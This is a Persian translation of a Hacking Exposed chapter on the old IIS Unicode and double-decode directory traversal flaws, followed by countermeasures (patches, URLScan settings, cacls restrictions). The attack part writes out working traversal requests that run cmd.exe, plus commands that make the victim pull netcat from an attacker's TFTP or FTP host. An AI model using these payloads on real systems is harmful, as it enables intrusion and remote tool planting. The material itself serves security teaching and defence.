مقدمه ای بر

حمله علیه IIS

مترجم : امیر حسین شریفی
info@WebSecurityMgz.com
منبع : **Hacking Exposed , Web Application**
تاریخ : 1 فروردین 1383

در سال 2001 ، دو تا از آسیب پذیریهای خطرناک **پیمایش دایرکتوریها**[1] در IIS به کشف شد. که با پیکربندی ضعیف سرورهایی که این مشکل را داشتند ، این موقعیت را به هکرها می داد تا بتوانند به راحتی به سرور نفوذ کنند و بر آن مسلط شوند. بنابراین اگر اثر آنها به شدت اثرات حملات سرریزی بافر نبود ولی بعد از آنها جزء بدترین حملات بوده اند.

دو آسیب پذیری پیمایش دایرکتوریها به حملات **یونیکد** (Unicode) و **رمزگشایی دوباره** (double decode)[2] نامگذاری شدند !

ابتدا آنها را به صورت جزیی بیان می کنیم و بعد از آن درباره مکانیسم های به کار بردن آنها برای دسترسی های اولیه به سرور بحث می کنیم دسترسی هایی که باعث یک غلبه کامل و به دست گرفتن کامل سرور می شود.

پیمایش دایرکتوری IIS

ابتدا سری به Packetstorm می زنیم. در اوایل سال 2001 در قسمتی که توسط Rain Forest Puppy (RFP) توسعه داده می شد ، ماهیت مشکل پیمایش دایرکتوری یونیکد در قالب ساده ای توسط RFP شرح داده شده است :

1 - Directory travesal

2- در گذشته به آن Superfluous decode می گفتند

«%c0%af و %c1%9c نمایش یونیکدی برای کاراکترهای / و \ می باشند. آنها حتی ممکن است برای نمایش از 3 بایت هم بیشتر شوند . به نظر می رسد IIS به صورت اشتباه یونیکدها را رمزگشایی می کند. »

بنابراین به وسیله فرستاده یک درخواست HTTP شبیه به درخواست زیر باعث اجرای دستوراتی روی سرور شده ایم:

GET /scripts/..%c0%af../winnt/system32/cmd.exe?+/c+dir+'c:\' HTTP / 1.0

نمایش طولانی یونیکد **..%c0%af** به /.. ترجمه می شود و باعث می شود که به دو دایرکتوری عقبتر برگردیم و وارد دایرکتوری system شویم و دستورات را توسط فایل اجرایی خط فرمان اجرا کنیم. این در حالی است که ما نمی توانیم به صورت معمولی از کاراکترهای **/..** استفاده کنیم. چندین گونه از نمایش **نامشروع**[3] / و \ نیز امکان پذیر می باشد شامل

%c1%1c %c1%9c %c0%9v %c0%af %c0%qf %c1%8s
%c1%pc و %c1%9c

در مِی 2001 محققین NSFocus یکی دیگر ار آسیب پذیریهای IIS را منتشر کردند که تقزیبا شبیه آسیب پذیری پیمایش دایرکتوری بود. به جای آسیب پذیری نمایش طولانی یونیکد های نمایش دهنده اسلش (/ و \ ) ، NSFocus یونیکدهای هگزادسیمالی را که دو بار رمز گشایی می شوند را کشف کرده بود. همین اشکال پیش آمده به درخواست های HTTP اجازه می داد که بتوانند به راحتی دایرکتوریهای خارج از ریشه را پیمایش کنند! و به نفوذگران این امکان را می داد که بتوانند به منابع خارج از ریشه (از جمله cmd.exe) دسترسی داشته باشند.

به عنوان مثال کاراکتر **بک اسلش** می تواند به وسیله کد هگزا دسیمال 5c% به سرور وب نمایانده شود و همچنین کاراکتر % نیز دارای کد هگزادسیمال 25% می باشد حال اگر رشته 255c% دو دفعه به ترتیب توسط سرور وب رمزگشایی شود به یک کاراکتر اسلش تنها ترجمه خواهد شد.

%255c ➔ **%**5c ➔ /

3 - illegal

URL ساخته شده زیر به مهاجم اجازه می دهد که به دستورات در سطح پوسته ویندوز 2000 دسترسی داشته باشد:

http://victim.com/scripts/..**%255c**..winnt/system32/cmd.exe?/c+dir+c:\

نکته ای که باید شما توجه کنید این است که دایرکتوری مجازی آغازین در درخواست HTTP ما باید امتیاز اجرایی (Execute) داشته باشد! شما می توانید نتیجه این درخواست را روی یک سرور آسیب پذیر مشاهده کنید:

```
Victim.com [192.168.234.222] 80 (http) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 17 January 2001 15:26:28 GMT
Content-Type: application/octet-stream
Volume in drive C has no label
Volume Serial Number is 9876-43f2

Directory of C:\
03/26/2001      08:03p <DIR> Documents and Setting
02/25/2001      03:10p <DIR> Inetpub
04/17/2001      12:43a <DIR> Program Files
02/13/2001      11:20p <DIR> WINNT
                  0   File(s)
                  5   Dir(s)              390,276,987 bytes free
sent  73, rcvd  886: NOTSOCK
```

نکته ای که در اینجا حائز اهمیت است این می باشد که حملات یونیکد و رمزگشایی دوباره بسیار شبیه به هم هستند. اگر سرور هر دو قطعه تعمیری آن را در سرور نصب نکرده باشد.هر دوی این حملات می تواند به وسیله نفوذگران انجام شود البته رمزگشایی دوباره یک post-Service Pack 2 Hotfix می باشد و خیلی پیش می آید که شما سایتهایی را پیدا می کنید که فقط Service Pack های قدیمی را نصب کرده اند و فراموش کرده اند که Post-Service Pack Hotfix ها را به کار ببرند. (فکر نکنم خیلی ها هیچ کدام را بشناسند! درسته ؟)

به طور واضح ، پیمایش دایرکتوری ها رفتاری ناخوشایند می باشد. اما شدت اینگونه حملات می تواند به وسیله تعدادی عوامل، محدود شود:

- دایرکتوری مجازی در درخواست (در مثال ما /scripts) باید اجازه اجرایی (Execute) برای درخواستهای کاربر داشته باشد. که معمولا این امر خیلی باز

دارنده نمی باشد. به خاطر اینکه IIS به صورت پیش فرض برای IUSER اجازه اجرا در دایرکتوریهای زیر را صادر می کند: Scripts , iissamples , iishelp , certenroll و certcontrol , certsrv , _ti_bin , msadc , iisadmin

- راه دیگر برای محدود کردن این گونه حملات این می باشد که دایرکتوریهای مجازی در درایو دیگری قرار داده شوند . زیرا رفتن از یک درایو به درایو دیگر از طریق اینگونه دستورات ممکن نیست!

همانطور که می دانید فایل cmd.exe در دایرکتوری system قرار دارد که اگر در یک درایو دیگر قرار بگیرد نمی تواند توسط فایلهای یونیکد ها و یا دیگر آسیب پذیریهای مورد سوءاستفاده قرار گیرد. البته این بدان معنی نمی باشد که فایلهای قابل اجرای دیگر که در درایوی که سایت وب ما در آن قرار دارد موجودند ، نمی توانند استفاده گردند.

دانلود کردن فایلها با استفاده از SMB ، FTP و TFTP

با فرض اینکه یک دایرکتوری قابل نوشتن را توانسته اید در یک هدف شناسایی کنید باید بدانید که تکنیکهای نوشتن در آن بسیار به دیواره آتشی که در مقابل آن قرار دارد وابسته است.

اگر دیواره آتش اجازه دسترسی از راه دور SMB (TCP 139 یا 445) را داده باشد فایلها خیلی راحت می توانند از سیستم نفوذگر راه دور توسط تسهیم فایل ویندوز[4] به سیستم هدف وارد شوند.

اگر اجازه FTP (TCP 21/22) و TFTP (UDP 69) برای بیرون از شبکه صادر شده باشد دستورات بسیاری برای رد و بدل کردن فایلها بین ماشین هکر و ماشین هدف وجود دارد (به وسیله اجرا کردن سرورهای FTP و TFTP). بعضی از اینگونه دستورات در دنباله مطالب خواهد آمد.

فرستادن فایلها به سرور هدف توسط Netcat بسیار راحت می باشد. ابتدا باید یک سرور TFTP در سرور هکر اجرا کرد (در مثال ما 192.168.234.31) و سپس به وسیله اجرا کردن یونیکد زیر فایل مورد نظر را در سرور هدف وارد می کنیم (آپلود می کنید) .

4 -Windows Share

GET /scripts/..%c0%af../winnt/system32/tftp.exe? "-i" +
192.168.234.31+GET+nc.exe C:\nc.exe HTTP/1.0

این مثال فایل nc.exe را در دایرکتوری C:\ هدف می نویسد البته دقت داشته باشید که باید این درایو به صورت پیش فرض قابل نوشتن به وسیله هر کسی باشد! توجه کنید که اگر فایل C:\nc.exe در حال حاضر موجود باشد شما خطای زیر را دریافت می کنید:

"Tftp.exe:can't write to local file 'C:\nc.exe'"

و همچنین اگر همه چیز طبق روال پیش برود پیامی به این مضمون دریافت خواهید کرد:

" Transfer successful: 59392 bytes in 1 second, 59392 bytes/s. "

استفاده از FTP کمی مشکل تر می باشد ولی اکثر سرور ها اجازه دسترسی از بیرون را به آن داده اند . در قدم اول باید یک فایل دلخواه (در اینجا به نام ftptmp) را در سرور هدف ایجاد کرد که این فایل جدید ، در اسکریپتهای ساخته شده در مراحل بعدی ، استفاده خواهد شد که همراه با سوییچ s:filename به کار می رود.اسکریپت باعث می شود که FTP مشتری با ماشین هکر ارتباط برقرار کند و فایل netcat را دانلود کند. البته باید قبل از ایجاد این فایل موانع احتمالی را رفع کنید.
بسیاری از نفوذگران باهوش برای پشت سر گذاشتن بسیاری از این محدودیتها فایل cmd.exe را تغییر نام می دهند. پس در قدم اول به وسیله اسکریپت زیر این کار را انجام می دهیم:

GET
/Scripts/..%c0%af../winnt/system32/cmd.exe?+/c+copy+c:\winnt\system32\cmd.exe+
c:\cmd1.exe HTTP/1.0

همانطور که مشاهده می کنید ما فایل را دوباره در دایرکتوری C:\ نوشتیم زیرا اجازه نوشتن در آن را به هر کسی داده شده است.
حال شما می توانید با استفاده از دستور echo از FTP استفاده کنید . دستور زیر با استفاده از داده های اختیاری که مورد نیاز برای یک سرور FTP می باشد طراحی شده است.

Filename = ***ftptmp***
User = ***anonymous***
Password = ***a@a.com***

FTP server IP address = *192.168.234.31*

شما حتی می توانید اسکریپت فوق را طوری بنویسید که در همان دفعه اول FTP مشتری را مجبور کند nc.exe را دریافت کند(متاسفانه به علت کمبود جا دستور در چند سطر نوشته شده است ☹) :

GET
/scripts/..%c0%af../cmd1.exe?+/c+echo+anonymous>C:\ftptmp&&echo+a@a.com>>
C:\ftptmp&&echo+bin>>C:\ftptmp&&echo+get+test.txt+C:\nc.exe>>C:\ftptmp&&ec
ho+bye>>C:\ftptmp&&ftp+-s:C:\ftptmp+192.168.234.31&&del+C:\ftptmp

استفاده از echo>file برای ایجاد کردن فایلها

البته اگر FTP و یا TFTP در دسترس نبودند (بنا به هر دلایلی از جمله اینکه مدیر سایت فایل آنها را از سرور حذف کرده باشد و یا توسط دیوار آتش بلوکه شده باشند) مکانیز مهای دیگری وجود دارد تا بتوان بدون استفاده از نرم افزارهای درون سرور قربانی ، یک فایل را در سرور آن نوشت . به عنوان مثال می توانید با استفاده از دستور echo به صورت مستقیم داده ها را درون یک فایل به صورت خط به خط نوشت.

راههای مقابله

تعدادی از راههای مقابله ای که می تواند اثرات آسیب پذیریهای پیمایش دایرکتوری ها را محدود کند در زیر آمده است:

Patch های امنیتی جدید را نصب کنید

این دسته از اشکالات اساسی و بنیادی که در IIS وجود دارد هر کدام به وسیله یک Patch آدرس دهی شده اند. به طور واقعی هیچ راه حل دیگری برای تعمییر آنها وجود ندارد (اگر چه ما بعضی از راهها را بیان خواهیم کرد که اثرات آنها را **محدود** می کند) پچ های اشکلات **رمزگشایی یونیکد** و **رمزگشایی دوباره** را کمی توانید در تابلو اعلانات امنیتی مایکروسافت MS00-086 و MS01-026 پیدا کنید.

همچنین پیشنهاد می کنیم به شما از ابزارهای اتوماتیک که شبیه Network Hotfix Checking Tool (hfnetchk) استفاده کنید تا از وجود آخرین پچ های شرکت مایکروسافت شما را آگاه سازد.

با فراهم کردن آخرین پچ ها و نصب آنها مدیریت IIS همچنین می تواند از راههای دیگری برای محافظت خود از خطرات یونیکد و رمزگشایی دوباره و یا آسیب پذیریهایی که در آینده کشف می شوند ، بهره ببرد. پیشنهادات زیر که بر طبق پیشنهادات شرکت مایکروسافت در MS00-078 می باشد نیز می تواند در کنار نصب پچ ها راه گشا باشد:

دایرکتوریهای سایت وب خود را در داریوی به جز درایو سیستم نصب کنید

همانطور که مشاهده کردید ، اشکال پیمایش دایرکتوری شبیه یونیکد نمی تواند به وسیله دستوراتی که توسط URL ها می سازد از یک درایو به درایو دیگری پرش کند و هیچ نحو دستوری برای آن ندارد! بنابراین با انتقال دایرکتوری ریشهIIS به یک درایو دیگر ، البته بدون ابزار قوی همچون cmd.exe امکان چنین بهره بردایها را کاهش دهید. در IIS

موقعیتهای فیزیکی ریشه وب به وسیله Internet Services Manager (iis.msc) کنترل می شود و شما می توانید با انتخاب Properties از بخش Default Web Site و انتخاب برگه Home Directory در بخش Local Path آن را تغییر دهید.

با استفاده از URLScan با رمزگشایی URL ها درخواستها را نرمال کنید

همانطور که در مطالب قبلی بیان شد ، به وسیله پیکر بندی فایل URLScan.ini می توانید درخواستهای HTTP را قبل از ارسال به IIS رمزگشایی کنید و درخواستهای ناجور را حذف کنید. با مقدار دهی اولیه به متغیر های زیر در فایل URLScan.ini می توانید به این اهداف برسید:

```
NomalizeUrlBeforScan=1      ; if 1 , canonicalize URL before processing
VerifyNormalization=1              ; if 1 , canonicalize URL twice and reject request
                                   ; if a change occurs
```

هر ابزار قوی را حذف،تغییر نام، جابجا و یا محدود کنید

Eric Schultze و David LeBlanc از شرکت مایکروسافت پیشنهاد دادند که به وسیله NTFS ACL ها اجازه دسترسی به cmd.exe و دیگر فایلهای اجرایی قوی را فقط به Administrator و SYSTEM اجازه کنترل کامل دهید و دیگر کاربران نتوانند اجازه ای برای اجرای آنها داشته باشند. همین امر باعث می شود که جلو بسیاری از حملات یونیکد و شیطنتها را بگیرند.[5] زیرا کاربران عادی اجازه اجرا فایل cmd.exe را نخواهند داشت. Schultze و LeBlanc پیشنهاد دادند که به وسیله دستور cacls اینگونه دسترسی ها را محدود کنند. اجازه بدهید با ذکر چندین مثال بیان کنیم که چگونه cacls می تواند اجازه دسترسی ها را روی فایلهای اجرایی در دایرکتوری سیستم محدود می کند. به علت اینکه در دایرکتوری سیستم فایلهای اجرایی زیادی وجود دارد ما با یک دایرکتوری ساده تر مثال خود را بیان می کنیم که ما آن را test1 نامگذاری کرده ایم و یک زیر دایرکتوری به نام test2 هم برای آن ایجاد کرده ایم . ایتدا از دستور cacls فقط برای نمایش استفاده می کنیم. می توانید مجوزهای دسترسی که به صورت پیش فرض به این دایرکتوری ها داده شده است را مشاهده کنید:

```
C:\>cacls test1 /T
C:/>test1 Evryone: (OI) (CI) F
C:/>test1\test1.exe\  Evryone:  F
C:/>test1\test1.txt\  Evryone:  F
```

55- البته لازم به ذکر است که بسیاری از هکرهای باهوش با عوض کردن نام اینگونه فایلها به راحتی می توانند بعضی از این موانع را بردارند.

```
C:/>test1\test2\  Evryone: (OI) (CI)  F
C:/>test1\test2\test2.exe\  Evryone:  F
C:/>test1\test2\test2.txt\  Evryone:  F
```

حال می خواهیم این دستور را صاد کنیم که تمامی مجوزهای دسترسی روی فایلهای اجرایی در test1 و زیردایرکتوری test2 به System:Full و Administrator:Full تغییر پیدا کند. دستور آن به صورت زیر خواهد بود:

```
C:\>cacls test1\*.exe  /T  /G  System:F  Administrator:F
Are you sure (Y/N) ? y
Processed file: C:\test1\test1.exe
Processed file: C:\test1\test2\test2.exe
```

حال برای دیدن نتایج دوباره دستور cacls را اجرا می کنیم. همانطور که مشاهده خواهید کرد به جز txt. ها بقیه مجوز های دسترسی تغیی پیدا کرده است:

```
C:\> Cacls test1  /T
C:/>test1 Evryone: (OI) (CI) F
C:/>test1\test1.exe\  NT AUTHORITY\SYSTEM:F
                                BUILTIN\Administartor:F
C:/>test1\test1.txt\  Evryone:  F
C:/>test1\test2\  Evryone: (OI) (CI)  F
C:/>test1\test2\test2.exe\  NT AUTHORITY\SYSTEM:F
                                BUILTIN\Administartor:F
C:/>test1\test2\test2.txt\  Evryone:  F
```

یک مثال عملی برای اینکه تمامی مجوزهای دسترسی ACL ها را روی فایلهای اجرایی درون دایرکتوری %systemroot% را به System:Full و Administrator:Full تغییر دهیم شبیه دستور زیر می باشد:

```
C:\>cacls %systemroot%\*.exe  /T  /G  System:F Administrator:F
```

این دستور باعث می شود که هر کاربر دیگری به جز مدیر سایت هیچ گونه اجازه ای برای اجرای فایلهای درون سیستم را نداشته باشد پس نفوذگران نیز نمی توانند اجازه اجرای اینگونه فایلها را توسط حملات یونیکد داشته باشند.

نکته:ابزار IISLockdown به صورت اتوماتیک اینگونه مجوزهای دسترسی را محدود می کند.

مترجم : امیر حسین شریفی
info@WebSecurityMgz.com
منبع : **Hacking Exposed , Web Application**
تاریخ : 1 فروردین 1383